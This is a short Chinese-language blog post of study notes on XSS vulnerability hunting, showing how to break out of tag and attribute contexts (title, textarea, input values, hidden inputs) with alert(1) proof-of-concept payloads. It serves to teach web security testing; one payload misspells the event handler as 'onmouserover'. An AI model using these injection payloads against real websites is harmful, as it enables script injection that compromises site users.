xss漏洞挖掘

2017-05-08  本文已影响0人  心如水_0b05
--《web前端黑客技术加密》

HTML标签之间

普通场景
<div id="body">[输出]</div>

提交

id=1<script>alert(1)</script>

综合

<div id="body">1<script>alert(1)</script></div>
无法执行脚本的标签

title:定义文档的标题
textarea:定义多行的文本输入控件
xmp:定义预格式文本。
iframe:创建包含另外一个文档的内联框架(即行内框架)
noscript:定义在脚本未被执行时的替代内容(文本)
noframes:可为那些不支持框架的浏览器显示文本。noframes 元素位于 frameset 元素内部。
plaintext:纯文本,和 pre 一样,代码中的空格和换行会直接显示到页面上。另外 < 和 > 和 & 也会直接显示。
解决方法:闭合,例如title

</title><script>alert</script>

HTML标签之内

普通场景
<input id="text" value="[输出]"/>

提交

"onmouseover=alert(1)x="

综合为:

<input id="text" value=""onmouseover=alert(1)x=""/>
"><script>alert(1)</script>

综合为:

<input id="text" value=""><script>alert(1)</script>"/>

书上解释为:这种是闭合属性后又闭合标签,然后直接执行脚本
同学解释为:input标签不需要闭合即执行,在达到目的后,后面无闭合已无所谓

其它场景

type为hidden
1)闭合
2)若type在输出后,可在payload中加入type=text
例如:
原语句为:

<input value="输入" type=hidden"/>

payload:

1" onmouserover=alert(1) type="text

综合为:

<input value="1" onmouserover=alert(1) type="text" type=hidden"/>

2.待续吧。。。

上一篇 下一篇

猜你喜欢

热点阅读